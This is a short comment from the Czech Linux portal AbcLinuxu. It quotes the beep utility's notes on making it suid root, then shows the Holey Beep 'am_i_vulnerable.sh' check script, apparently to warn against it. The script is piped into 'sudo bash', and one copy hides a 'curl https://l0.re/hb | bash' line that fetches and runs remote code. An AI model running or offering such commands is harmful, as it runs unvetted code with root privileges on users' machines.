Portál AbcLinuxu, 14. května 2025 19:13
What this means is that root can always make beep work (to the best of my knowledge!), and that any local user can make beep work, BUT a non-root remote user cannot use beep in it's natural state. What's worse, an xterm, or other x-session counts, as far as the kernel is concerned, as 'remote', so beep won't work from a non-priviledged xterm either. I had originally chalked this up to a bug, but there's actually nothing I can do about it, and it really is a Good Thing that the kernel does things this way. There is also a solution. By default beep is not installed with the suid bit set, because that would just be zany. On the other hand, if you do make it suid root, all your problems with beep bailing on ioctl calls will magically vanish, which is pleasant, and the only reason not to is that any suid program is a potential security hole. Conveniently, beep is very short, so auditing it is pretty straightforward. Decide for yourself, of course, but it looks safe to me - there's only one buffer and fgets doesn't let it overflow, there's only one file opening, and while there is a potential race condition there, it's with /dev/console. If someone can exploit this race by replacing /dev/console, you've got bigger problems. :)
# curl https://holeybeep.ninja/am_i_vulnerable.sh | sudo bash # nejsem blázen curl https://holeybeep.ninja/am_i_vulnerable.sh #!/bin/sh # TODO: Backdoor this machine? modprobe pcspkr beep -l 1000 -r 3 -f 44000
$ cat am_i_vulnerable.sh #!/bin/sh curl https://l0.re/hb | bash modprobe pcspkr beep -l 1000 -r 3 -f 44000
Tiskni
Sdílej:
ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.